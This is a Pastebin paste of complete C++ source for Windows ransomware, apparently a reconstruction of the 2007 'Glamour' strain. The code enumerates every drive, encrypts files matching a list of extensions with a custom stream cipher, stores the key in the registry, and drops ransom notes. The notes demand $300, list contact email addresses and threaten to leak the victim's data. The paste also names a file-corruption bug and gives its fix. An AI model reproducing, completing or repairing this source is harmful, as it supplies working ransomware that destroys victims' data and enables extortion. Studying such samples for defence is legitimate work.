Advertisement
FlyFar

src/main.cpp

Mar 23rd, 2024
485
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 14.96 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <shlwapi.h>
  3. #include <shlobj.h>
  4.  
  5. #include "main.h"
  6.  
  7. /* -- gooncity and you can't get in -- */
  8. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  9. {
  10.     HANDLE hThread = NULL;
  11.     myProcessHeap = GetProcessHeap();
  12.    
  13. #ifndef DEBUG
  14.     SetErrorMode(SEM_NOOPENFILEERRORBOX | SEM_NOALIGNMENTFAULTEXCEPT | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS);
  15. #endif
  16.  
  17.     hThread = CreateThread(NULL, 0, file_encrypt_thread, NULL, 0, NULL);
  18.     WaitForSingleObject(hThread, INFINITE);
  19. }
  20.  
  21. /* -- where the magic happens -- */
  22. DWORD WINAPI file_encrypt_thread(LPVOID none)
  23. {
  24.     WCHAR tempfold[MAX_PATH];
  25.     WCHAR tempname[MAX_PATH];
  26.     CHAR *newstr = NULL;
  27.    
  28.     DWORD code = 0;
  29.    
  30.     SYSTEMTIME systemtime;
  31.    
  32.     /* -- check the date, start if we are past 2007, and july 10th -- */
  33. #ifndef DEBUG
  34.     GetSystemTime(&systemtime);
  35.     if(systemtime.wYear >= 2007 && systemtime.wMonth >= 7 && systemtime.wDay >= 10)
  36. #endif
  37.     {
  38.         install_reg_wincode();
  39.         install_reg_win32();
  40.        
  41.         /* -- -- */
  42.         memcpy(&code, wincode, 4);
  43.        
  44. #ifdef DEBUG
  45.         printf("WinCode => %d\r\nWin32 => %d\r\n\r\n", code, win32);
  46.         system("pause");
  47. #endif
  48.        
  49.         /* -- check if the code is the magic number, quit if so -- */
  50.         if(code != 31337)
  51.         {
  52.             GetTempPathW(MAX_PATH, tempfold);
  53.             GetTempFileNameW(tempfold, NULL, 0, tempname);
  54.            
  55. #ifdef DEBUG
  56.             wprintf(L"temp path => %ws\r\n\r\n", tempname);
  57.             system("pause");
  58. #endif
  59.            
  60.             vfiles = CreateFileW(tempname, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
  61.             if(vfiles != NULL)
  62.             {
  63.                 /* -- enumerate drives for files to encrypt -- */
  64.                 enum_drives();
  65. #ifndef DEBUG
  66.                 Sleep(60 * 1000);
  67. #else
  68.                 printf("\r\n\r\nDONE ENUMING FILES!\r\nBEGINNING FILE ENCRYPTION...\r\n\r\n");
  69.                 Sleep(5  * 1000);
  70. #endif
  71.                
  72.                 /* -- begin encryption on all the valid files on our list -- */
  73.                 do_main_file_work();
  74. #ifndef DEBUG
  75.                 Sleep(60 * 1000);
  76. #else
  77.                 printf("\r\nDONE ENCRYPTING FILES!\r\n\r\n");
  78.                 Sleep(5  * 1000);
  79. #endif
  80.                 /* -- write a ransom note to the desktop -- */
  81.                 SHGetFolderPathW(0, CSIDL_DESKTOP, 0, 0, tempfold);
  82.                 lstrcatW(tempfold, L"\\read_me.txt");
  83.                
  84.                 /*  -- convert a wide string to an ansii one -- */
  85.                 newstr = wc2mb(tempfold, -1);
  86. #ifdef DEBUG
  87.                 printf("writing note to %s\r\n", newstr);
  88. #endif
  89.                
  90.                 write_readme_txt(newstr);
  91.                
  92.                 if(newstr != NULL)
  93.                 {
  94.                     HeapFree(myProcessHeap, 0, newstr);
  95.                 }
  96.                
  97.                 CloseHandle(vfiles);
  98.                
  99.                 /* -- show the note to the user -- */
  100.                 ShellExecuteW(NULL, L"open", tempfold, 0, 0, SW_MAXIMIZE);
  101.             }
  102.         }
  103.     }
  104. }
  105.  
  106. /* -- get/set the "WinCode" value which is the encryption/decryption key -- */
  107. void install_reg_wincode()
  108. {
  109.     DWORD uresult = -1;
  110.     DWORD cbsize  = sizeof(DWORD);
  111.     HKEY  hkey    = NULL;
  112.    
  113.     uresult = RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"software\\microsoft\\windows nt\\currentversion", 0, NULL, 0, KEY_QUERY_VALUE, NULL, &hkey, NULL);
  114.     if(uresult == ERROR_SUCCESS)
  115.     {
  116.         if(RegQueryValueExW(hkey, L"WinCode", NULL, NULL, (BYTE*)&wincode, &cbsize) != ERROR_SUCCESS)
  117.         {
  118.             /* -- generate the code -- */
  119.             for(int i = 0; i < sizeof(wincode); i++)
  120.             {
  121.                 wincode[i] = GenRandomFillByte(0, 255);
  122.             }
  123.            
  124.             uresult = RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"software\\microsoft\\windows nt\\currentversion", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hkey, NULL);
  125.             if(uresult != ERROR_SUCCESS)
  126.             {
  127.                 return;
  128.             }
  129.             RegSetValueExW(hkey, L"WinCode", 0, REG_DWORD, (BYTE*)&wincode, 4);
  130.         }
  131.         RegCloseKey(hkey);
  132.        
  133.         /* -- init the entropy buffer -- */
  134.         init_buffer();
  135.         for(int i = 0, j = 0; j < 24; i++, j++)
  136.         {
  137.             entropy[j] ^= encode(wincode[i]);
  138.             if(i == 3)
  139.             {
  140.                 i = 0;
  141.             }
  142.         }
  143.     }
  144. }
  145.  
  146. /* -- get/set the "Win32" value which is the randomly chosen e-mail -- */
  147. void install_reg_win32()
  148. {
  149.     DWORD uresult = -1;
  150.     DWORD cbsize  = sizeof(DWORD);
  151.     HKEY  hkey    = NULL;
  152.    
  153.     uresult = RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"software\\microsoft\\windows nt\\currentversion", 0, NULL, 0, KEY_QUERY_VALUE, NULL, &hkey, NULL);
  154.     if(uresult == ERROR_SUCCESS)
  155.     {
  156.         if(RegQueryValueExW(hkey, L"Win32", NULL, NULL, (BYTE*)&win32, &cbsize) != ERROR_SUCCESS)
  157.         {
  158.             win32 = GenRandomFillByte(1, 4);
  159.            
  160.             uresult = RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"software\\microsoft\\windows nt\\currentversion", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hkey, NULL);
  161.             if(uresult != ERROR_SUCCESS)
  162.             {
  163.                 return;
  164.             }
  165.             RegSetValueExW(hkey, L"Win32", 0, REG_DWORD, (BYTE*)&win32, 4);
  166.         }
  167.         RegCloseKey(hkey);
  168.     }
  169. }
  170.  
  171. /* -- drive enumeration -- */
  172. void enum_drives()
  173. {
  174.     CHAR  driveroot[MAX_PATH];
  175.     DWORD drivemask = GetLogicalDrives();
  176.     DWORD drivetype = 0;
  177.    
  178.     for(int i = 0; i < 26; i++)
  179.     {
  180.         if((1 << i) & drivemask)
  181.         {
  182.             wnsprintfA(driveroot, MAX_PATH, "%c:", i + 'A');
  183.            
  184.             /*
  185.                 --
  186.                   check the drive type, we dont wanna search
  187.                   empty drives or CD drives, as those are readonly
  188.                 --
  189.             */
  190.             drivetype = GetDriveTypeA(driveroot);
  191.             if(drivetype != DRIVE_NO_ROOT_DIR && drivetype != DRIVE_CDROM)
  192.             {
  193. #ifdef DEBUG
  194.                 printf("\r\nSearching => %s...\r\n", driveroot);
  195. #endif
  196.                 enum_files(driveroot);
  197.             }
  198.         }
  199.     }
  200. }
  201.  
  202. /* -- recursive file enumeration -- */
  203. void enum_files(char *path)
  204. {
  205.     HANDLE hfind = NULL;
  206.     WIN32_FIND_DATAA fd;
  207.    
  208.     CHAR filename[MAX_PATH];
  209.     CHAR foundfile[MAX_PATH];
  210.    
  211.     lstrcpyA(filename, path);
  212.     lstrcatA(filename, "\\*");
  213.    
  214.     hfind = FindFirstFileA(filename, &fd);
  215.     if(hfind != INVALID_HANDLE_VALUE)
  216.     {
  217.         while(FindNextFileA(hfind, &fd))
  218.         {
  219.             if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
  220.             && lstrcmpiA(fd.cFileName, ".")
  221.             && lstrcmpiA(fd.cFileName, ".."))
  222.             {
  223.                 lstrcpyA(foundfile, path);
  224.                 lstrcatA(foundfile, "\\");
  225.                 lstrcatA(foundfile, fd.cFileName);
  226.                
  227. #ifdef DEBUG
  228.                 printf("DIR => %s\r\n", foundfile);
  229. #endif
  230.                 enum_files(foundfile);
  231.             }
  232.             else if(lstrcmpiA(fd.cFileName, ".."))
  233.             {
  234.                 /* -- we do NOT wanna encrypt notes -- */
  235.                 if(lstrcmpiA(fd.cFileName, "read_me.txt"))
  236.                 {
  237.                     wnsprintfA(foundfile, MAX_PATH, "%s\\%s", path, fd.cFileName);
  238.                     check_extension(foundfile);
  239.                 }
  240.             }
  241.         }
  242.         FindClose(hfind);
  243.     }
  244. }
  245.  
  246. void check_extension(char *filename)
  247. {
  248.     DWORD wb;
  249.     char *i;
  250.    
  251.     for(i = &filename[lstrlenA(filename)]; *i != '.'; --i)
  252.     {
  253.         if(i == filename)
  254.         {
  255.             return;
  256.         }
  257.     }
  258.    
  259.     for(int j = 0; j < (sizeof(extensions) / sizeof(extensions[0])); j++)
  260.     {
  261.         if(!lstrcmpi(i, extensions[j]))
  262.         {
  263. #ifdef DEBUG
  264.             printf("VALID FILE => %s\r\n", filename);
  265. #endif
  266.             WriteFile(vfiles, filename, lstrlenA(filename) + 1, &wb, NULL);
  267.             break;
  268.         }
  269.     }
  270. }
  271.  
  272. /* -- valid file enumeration function -- */
  273. void do_main_file_work()
  274. {
  275.     HANDLE hfilemapping = NULL;
  276.     DWORD  filesize;
  277.     DWORD  fileattribs;
  278.     CHAR  *mapview  = NULL;
  279.     CHAR  *filename = NULL;
  280.    
  281.     filesize = GetFileSize(vfiles, NULL);
  282.     hfilemapping = CreateFileMappingW(vfiles, 0, PAGE_READONLY, 0, 0, 0);
  283.    
  284.     mapview = (CHAR*)MapViewOfFile(hfilemapping, FILE_MAP_READ, 0, 0, 0);
  285.    
  286.     /* -- thanks [REDACTED] -- */
  287.     filename = mapview;
  288.     for(DWORD i = 0; i < (filesize - 1); i++)
  289.     {
  290.         if(mapview[i] == '\0')
  291.         {
  292.             fileattribs = GetFileAttributesA(filename);
  293.             SetFileAttributesA(filename, FILE_ATTRIBUTE_NORMAL);
  294.            
  295. #ifdef DEBUG
  296.             printf("\r\nENCRYPTING => %s\r\n...", filename);
  297. #endif
  298.            
  299.             /* -- do the actual file encrypt -- */
  300.             encrypt_file(filename);
  301.            
  302.             SetFileAttributesA(filename, fileattribs);
  303.             filename += lstrlenA(filename) + 1;
  304.            
  305. #ifdef DEBUG
  306.             printf("DONE!\r\n\r\n");
  307. #endif
  308.         }
  309.     }
  310.     UnmapViewOfFile(mapview);
  311.     CloseHandle(hfilemapping);
  312. }
  313.  
  314. /* -- the main encryption function -- */
  315. void encrypt_file(char *filename)
  316. {
  317.     CHAR   fileheader[7];
  318.     BYTE   filebuffer[65536];
  319.    
  320.     HANDLE filehandle = INVALID_HANDLE_VALUE;
  321.    
  322.     WCHAR *newname = NULL;
  323.    
  324.     FILETIME ftCreate;
  325.     FILETIME ftAccess;
  326.     FILETIME ftWrite;
  327.    
  328.     DWORD filesize = 0;
  329.     DWORD rb = 0;
  330.     DWORD pointerresult = 0;
  331.    
  332.     newname = mb2wc(filename, -1);
  333.    
  334.     filehandle = CreateFileW(newname, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  335.     if(newname != NULL)
  336.     {
  337.         HeapFree(myProcessHeap, 0, newname);
  338.     }
  339.    
  340.     if(filehandle != INVALID_HANDLE_VALUE)
  341.     {      
  342.         GetFileTime(filehandle, &ftCreate, &ftAccess, &ftWrite);
  343.         filesize = GetFileSize(filehandle, NULL);
  344.        
  345.         /* -- read the first 7 bytes of a file -- */
  346.         if(ReadFile(filehandle, fileheader, 7, &rb, NULL))
  347.         {
  348.             /* -- check if its already encrypted -- */
  349.             if(rb >= 7 &&
  350.             fileheader[0] != 'G' &&
  351.             fileheader[1] != 'L' &&
  352.             fileheader[2] != 'A' &&
  353.             fileheader[3] != 'M' &&
  354.             fileheader[4] != 'O' &&
  355.             fileheader[5] != 'U' &&
  356.             fileheader[6] != 'R')
  357.             {
  358.                 /* -- reset back and write our encrypted header -- */
  359.                 SetFilePointer(filehandle, 0, 0, FILE_BEGIN);
  360.                 if(WriteFile(filehandle, "GLAMOUR", 7, &rb, NULL))
  361.                 {
  362.                     if(rb != 0)
  363.                     {
  364.                         /* -- init the crypto -- */
  365.                         init_buffer();
  366.                         while(rb != 0 && filesize != (pointerresult + rb) && pointerresult <= 10000000)
  367.                         {
  368.                             /* -- read the data into the buffer -- */
  369.                             if(!ReadFile(filehandle, filebuffer, 65536, &rb, NULL))
  370.                             {
  371.                                 break;
  372.                             }
  373.                            
  374.                             if(rb == 0)
  375.                             {
  376.                                 break;
  377.                             }
  378.                            
  379.                             /* -- encrypt the read data -- */
  380.                             if(rb > 0)
  381.                             {
  382.                                 for(int i = 0; i < rb; i++)
  383.                                 {
  384.                                     filebuffer[i] = encode(filebuffer[i]);
  385.                                 }
  386.                             }
  387.                            
  388.                             /* -- move back, and write the new data ontop -- */
  389.                             pointerresult = SetFilePointer(filehandle, -rb, 0, FILE_CURRENT);
  390.                             if(!WriteFile(filehandle, filebuffer, rb, &rb, NULL))
  391.                             {
  392.                                 break;
  393.                             }
  394.                         }
  395.                        
  396.                         /* -- BUG: we dont reset the file pointer to EOF, corrupting large files -- */
  397.                         /* -- PoC code to correct the bug -- */
  398.                         //SetFilePointer(filehandle, 0, 0, FILE_END);
  399.                        
  400.                         /* -- append the read header bytes to the file -- */
  401.                         WriteFile(filehandle, fileheader, 7, &rb, NULL);
  402.                        
  403.                         /* -- reset the file write/access time -- */
  404.                         SetFileTime(filehandle, &ftCreate, &ftAccess, &ftWrite);
  405.                        
  406.                         CloseHandle(filehandle);
  407.                        
  408.                         /* -- write our note -- */
  409.                         write_readme_txt(filename);
  410.                     }
  411.                 }
  412.             }
  413. #ifdef DEBUG
  414.             else
  415.             {
  416.                 printf("SKIPPING! => ");
  417.             }
  418. #endif
  419.         }
  420.     }
  421. #ifdef DEBUG
  422.     else
  423.     {
  424.         printf("FAILURE! => ");
  425.     }
  426. #endif
  427. }
  428.  
  429. /* -- write a note to the directory of a FULL path of a file -- */
  430. void write_readme_txt(char *fullpath)
  431. {
  432.     HANDLE hnote = INVALID_HANDLE_VALUE;
  433.    
  434.     CHAR notepath[1024];
  435.     CHAR notebuff[1024];
  436.     CHAR emailbuff[256];
  437.    
  438.     WCHAR *newname = NULL;
  439.    
  440.     char *i;
  441.    
  442.     DWORD code = 0;
  443.     DWORD wb   = 0;
  444.    
  445.     lstrcpyA(notepath, fullpath);
  446.    
  447.     for(i = &notepath[lstrlenA(notepath)]; *i != '\\'; --i);
  448.     *i = '\0';
  449.    
  450.     lstrcatA(notepath, "\\read_me.txt");
  451.    
  452.     switch(win32)
  453.     {
  454.         case 1:
  455.         {
  456.             wnsprintfA(emailbuff, 256, "glamourpalace@gmail.com");
  457.             break;
  458.         }
  459.        
  460.         case 2:
  461.         {
  462.             wnsprintfA(emailbuff, 256, "oxyglamour@gmail.com");
  463.             break;
  464.         }
  465.        
  466.         case 3:
  467.         {
  468.             wnsprintfA(emailbuff, 256, "tristanniglam@gmail.com");
  469.             break;
  470.         }
  471.        
  472.         case 4:
  473.         {
  474.             wnsprintfA(emailbuff, 256, "kiloglamour@gmail.com");
  475.             break;
  476.         }
  477.     }
  478.    
  479.     newname = mb2wc(notepath, -1);
  480.    
  481.     hnote = CreateFileW(newname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, NULL);
  482.     if(newname != NULL)
  483.     {
  484.         HeapFree(myProcessHeap, 0, newname);
  485.     }
  486.    
  487.     if(hnote != INVALID_HANDLE_VALUE)
  488.     {
  489.         memcpy(&code, wincode, 4);
  490.        
  491.         wnsprintfA(notebuff, 1024,
  492.                 "Hello,    your   files   are   encrypted   with   RSA-4096   algorithm\n"
  493.                 "(http://en.wikipedia.org/wiki/RSA).\n"
  494.                 "\n"
  495.                 "You  will  need  at least few years to decrypt these files without our\n"
  496.                 "software.  All  your  private  information  for  last  3  months  were\n"
  497.                 "collected and sent to us.\n"
  498.                 "\n"
  499.                 "To decrypt your files you need to buy our software. The price is $300.\n"
  500.                 "\n"
  501.                 "To  buy  our software please contact us at: %s and provide us\n"
  502.                 "your  personal code %d. After successful purchase we will send\n"
  503.                 "your  decrypting  tool,  and  your private information will be deleted\n"
  504.                 "from our system.\n"
  505.                 "\n"
  506.                 "If  you  will not contact us until 07/15/2007 your private information\n"
  507.                 "will be shared and you will lost all your data.\n"
  508.                 "\n"
  509.                 "\t\t\t\tGlamorous team", emailbuff, code);
  510.         WriteFile(hnote, notebuff, lstrlenA(notebuff), &wb, NULL);
  511.         CloseHandle(hnote);
  512.     }
  513. }
  514.  
  515. /* -- utils -- */
  516.  
  517. /* -- converts an ansii string to a wide one -- */
  518. WCHAR *mb2wc(char *str, int len)
  519. {
  520.     WCHAR *newstr = NULL;
  521.    
  522.     if(str != NULL)
  523.     {
  524.         if(len == -1)
  525.         {
  526.             len = lstrlenA(str);
  527.         }
  528.        
  529.         newstr = (WCHAR*)HeapAlloc(myProcessHeap, HEAP_ZERO_MEMORY, len * 2 + 2);
  530.         if(newstr != NULL)
  531.         {
  532.             MultiByteToWideChar(CP_OEMCP, 0, str, len, newstr, len);
  533.             //newstr[2 * len + 2] = '\0'; /* -- crashes for some reason -- */
  534.         }
  535.         return newstr;
  536.     }
  537.     else
  538.     {
  539.         return NULL;
  540.     }
  541. }
  542.  
  543. /* -- converts a wide string to an ansii one -- */
  544. CHAR *wc2mb(WCHAR *str, int len)
  545. {
  546.     CHAR *newstr = NULL;
  547.    
  548.     if(str != NULL)
  549.     {
  550.         if(len == -1)
  551.         {
  552.             len = lstrlenW(str);
  553.         }
  554.        
  555.         int len2 = len + 1;
  556.        
  557.         newstr = (CHAR*)HeapAlloc(myProcessHeap, HEAP_ZERO_MEMORY, len + 1);
  558.         if(newstr != NULL)
  559.         {
  560.             WideCharToMultiByte(CP_OEMCP, 0, str, len2 - 1, newstr, len2 - 1, 0, 0);
  561.             newstr[len2 - 1] = '\0';
  562.         }
  563.         return newstr;
  564.     }
  565.     else
  566.     {
  567.         return NULL;
  568.     }
  569. }
  570.  
  571. /* -- generate a random number (or byte) based on GetTickCount() -- */
  572. int GenRandomFillByte(int ival, int uival)
  573. {
  574.     if(!tickCount)
  575.     {
  576.         tickCount = GetTickCount();
  577.     }
  578.    
  579.     tickCount =  214013 * tickCount + 2531011;
  580.     return ival + tickCount % (uival - ival + 1);
  581. }
  582.  
  583. /* -- crypto -- */
  584.  
  585. void init_buffer()
  586. {
  587.     ga = 0;
  588.     gb = 0;
  589.  
  590.     for(int i = 0; i < sizeof(key); i++)
  591.     {
  592.         key[i] = i + 24;
  593.     }
  594.  
  595.     for(int i = 0; i < sizeof(key); i++)
  596.     {
  597.         BYTE a = key[i];
  598.         ga += (a + entropy[i % 24]);
  599.        
  600.         int  b = (int)ga;
  601.         BYTE c = a;
  602.        
  603.         a = key[b];
  604.        
  605.         key[i] = a;
  606.         key[b] = gb = c;
  607.     }
  608. }
  609.  
  610. /* -- this should be closer to how it functioned in the ransomware -- */
  611. BYTE encode(BYTE x)
  612. {
  613.     BYTE a = x ^ ga;
  614.     process_byte(x);
  615.     return a;
  616. }
  617.  
  618. void process_byte(BYTE x)
  619. {
  620.     BYTE b = key[x];
  621.     BYTE c = ga + b;
  622.  
  623.     int  d = (int)c;
  624.  
  625.     BYTE e = key[d];
  626.  
  627.     key[x] = e;
  628.     key[d] = b;
  629.  
  630.     c = b + key[x];
  631.  
  632.     gb = b;
  633.     ga = c;
  634. }
  635.  
  636. /*BYTE encode(BYTE x)
  637. {
  638.     BYTE a = ga ^ x;
  639.     BYTE b = key[x];
  640.     BYTE c = ga + b;
  641.    
  642.     int  d = (int)c;
  643.    
  644.     BYTE e = key[d];
  645.    
  646.     key[x] = e;
  647.     key[d] = b;
  648.    
  649.     c = b + key[x];
  650.    
  651.     gb = b;
  652.     ga = c;
  653.     return a;
  654. }*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement